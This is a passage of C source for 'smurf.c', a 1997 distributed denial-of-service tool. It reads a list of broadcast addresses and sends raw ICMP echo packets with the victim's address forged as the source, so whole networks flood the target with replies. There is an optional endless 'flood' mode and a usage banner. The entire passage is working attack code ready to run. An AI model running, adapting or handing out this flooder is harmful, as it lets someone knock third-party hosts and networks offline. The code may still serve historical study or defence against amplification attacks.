  785. void            smurf(int, struct sockaddr_in, u_long, int);
  786. void            ctrlc(int);
  787. unsigned int    host2ip(char *hostname);
  788. unsigned short  in_chksum(u_short *, int);
  789.  
  790. unsigned int
  791. host2ip(char *hostname)
  792. {
  793.         static struct in_addr i;
  794.         struct hostent *h;
  795.         i.s_addr = inet_addr(hostname);
  796.         if (i.s_addr == -1) {
  797.                 h = gethostbyname(hostname);
  798.                 if (h == NULL) {
  799.                         fprintf(stderr, "can't find %s\n.", hostname);
  800.                         exit(0);
  801.                 }
  802.                 bcopy(h->h_addr, (char *) &i.s_addr, h->h_length);
  803.         }
  804.         return i.s_addr;
  805. }
  806.  
  807. /* stamp */
  808. char            id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $";
  809.  
  810. int
  811. main(int argc, char *argv[])
  812. {
  813.         struct sockaddr_in sin;
  814.         FILE           *bcastfile;
  815.         int             i, sock, bcast, delay, num, pktsize, cycle = 0,
  816.                         x;
  817.         char            buf[32], **bcastaddr = malloc(8192);
  818.  
  819.         banner();
  820.         signal(SIGINT, ctrlc);
  821.  
  822.         if (argc < 6)
  823.                 usage(argv[0]);
  824.  
  825.         sin.sin_addr.s_addr = host2ip(argv[1]);
  826.         sin.sin_family = AF_INET;
  827.  
  828.         num = atoi(argv[3]);
  829.         delay = atoi(argv[4]);
  830.         pktsize = atoi(argv[5]);
  831.  
  832.         if ((bcastfile = fopen(argv[2], "r")) == NULL) {
  833.                 perror("opening bcast file");
  834.                 exit(-1);
  835.         }
  836.         x = 0;
  837.         while (!feof(bcastfile)) {
  838.                 fgets(buf, 32, bcastfile);
  839.                 if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0]))
  840.                         continue;
  841.                 for (i = 0; i < strlen(buf); i++)
  842.                         if (buf[i] == '\n')
  843.                                 buf[i] = '\0';
  844.                 bcastaddr[x] = malloc(32);
  845.                 strcpy(bcastaddr[x], buf);
  846.                 x++;
  847.         }
  848.         bcastaddr[x] = 0x0;
  849.         fclose(bcastfile);
  850.  
  851.         if (x == 0) {
  852.                 fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
  853.                 exit(-1);
  854.         }
  855.         if (pktsize > 1024) {
  856.                 fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
  857.                 exit(-1);
  858.         }
  859.         if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  860.                 perror("getting socket");
  861.                 exit(-1);
  862.         }
  863.         setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast));
  864.  
  865.         printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
  866.  
  867.         for (i = 0; i < num || !num; i++) {
  868.                 if (!(i % 25)) {
  869.                         printf(".");
  870.                         fflush(stdout);
  871.                 }
  872.                 smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
  873.                 cycle++;
  874.                 if (bcastaddr[cycle] == 0x0)
  875.                         cycle = 0;
  876.                 usleep(delay);
  877.         }
  878.         puts("\n\n");
  879.         return 0;
  880. }
  881.  
  882. void
  883. banner(void)
  884. {
  885.         puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n");
  886. }
  887.  
  888. void
  889. usage(char *prog)
  890. {
  891.         fprintf(stderr, "usage: %s <target> <bcast file> "
  892.                 "<num packets> <packet delay> <packet size>\n\n"
  893.                 "target        = address to hit\n"
  894.                 "bcast file    = file to read broadcast addresses from\n"
  895.                 "num packets   = number of packets to send (0 = flood)\n"
  896.                 "packet delay  = wait between each packet (in ms)\n"
  897.                 "packet size   = size of packet (< 1024)\n\n", prog);
  898.         exit(-1);
  899. }
  900.  
  901. void
  902. smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
  903. {
  904.         struct ip      *ip;
  905.         struct icmp    *icmp;
  906.         char           *packet;
  907.         int             hincl = 1;
  908.  
  909.         packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize);
  910.         ip = (struct ip *) packet;
  911.         icmp = (struct icmp *) (packet + sizeof(struct ip));
  912.  
  913.         memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize);
  914.         setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl));
  915.         ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize;
  916.         ip->ip_hl = sizeof *ip >> 2;
  917.         ip->ip_v = 4;
  918.         ip->ip_ttl = 255;
  919.         ip->ip_tos = 0;
  920.         ip->ip_off = 0;
  921.         ip->ip_id = htons(getpid());
  922.         ip->ip_p = 1;
  923.         ip->ip_src.s_addr = sin.sin_addr.s_addr;
  924.         ip->ip_dst.s_addr = dest;
  925.         ip->ip_sum = 0;
  926.         icmp->icmp_type = 8;
  927.         icmp->icmp_code = 0;
  928.         icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
  929.  
  930.         sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize,
  931.                0, (struct sockaddr *) & sin, sizeof(struct sockaddr));
  932.  
  933.         free(packet);           /* free willy! */
  934. }
  935.  
  936. void
  937. ctrlc(int ignored)
  938. {
  939.         puts("\nDone!\n");
  940.         exit(1);
  941. }
  942.  
  943. unsigned short
  944. in_chksum(u_short * addr, int len)
  945. {
  946.         register int    nleft = len;
  947.         register int    sum = 0;
  948.         u_short         answer = 0;
  949.  
  950.         while (nleft > 1) {
  951.                 sum += *addr++;
  952.                 nleft -= 2;
  953.         }
  954.  
  955.         if (nleft == 1) {
  956.                 *(u_char *) (&answer) = *(u_char *) addr;
  957.                 sum += answer;
  958.         }
  959.         sum = (sum >> 16) + (sum + 0xffff);
  960.         sum += (sum >> 16);
  961.         answer = ~sum;
  962.         return (answer);
  963. }
  964.  
  965. --- end ---
  966.